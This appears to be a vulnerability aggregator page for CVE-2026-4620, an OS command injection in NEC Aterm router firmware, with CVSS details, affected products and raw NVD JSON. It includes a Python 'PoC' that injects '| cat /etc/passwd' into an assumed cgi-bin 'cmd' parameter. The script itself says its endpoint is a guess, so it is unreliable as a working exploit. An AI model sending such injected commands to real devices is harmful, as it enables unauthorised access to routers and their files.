Security Vulnerability Report
中文
CVE-2026-4620 CVSS 9.8 CRITICAL

CVE-2026-4620

Published: 2026-03-27 12:16:21
Last Modified: 2026-04-20 15:19:10

Description

OS Command Injection vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to execute arbitrary OS commands via network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nec:aterm_wx3600hp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wx3600hp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:nec:aterm_wx1500hp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wx1500hp:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Aterm Series (具体受影响版本请参考官方安全公告 NV26-001)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-4620 OS Command Injection # Author: Security Analyst import requests import sys def exploit(target_ip): # Example vulnerable endpoint (needs verification based on actual firmware analysis) url = f"http://{target_ip}/cgi-bin/admin_command" # Payload to execute a simple command (e.g., ping a test server or read a file) # Assuming the parameter 'cmd' is vulnerable payload = "| cat /etc/passwd" data = { "cmd": payload } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4620", "sourceIdentifier": "[email protected]", "published": "2026-03-27T12:16:20.757", "lastModified": "2026-04-20T15:19:10.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to execute arbitrary OS commands via network."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wx3600hp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.3", "matchCriteriaId": "B77603F2-DFB5-4718-B4DB-482CD835BB61"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wx3600hp:-:*:*:*:*:*:*:*", "matchCriteriaId": "49BA8EF7-AE6D-4E69-A14B-410127D41E01"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wx1500hp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "2724C104-05C2-4907-A2DE-E6E3D3BC1E8F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wx1500hp:-:*:*:*:*:*:*:*", "matchCriteriaId": "1326D2EC-FF31-45A7-8DCE-1371DA0FD779"}]}]}], "references": [{"url": "https://jpn.nec.com/security-info/secinfo/nv26-001_en.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}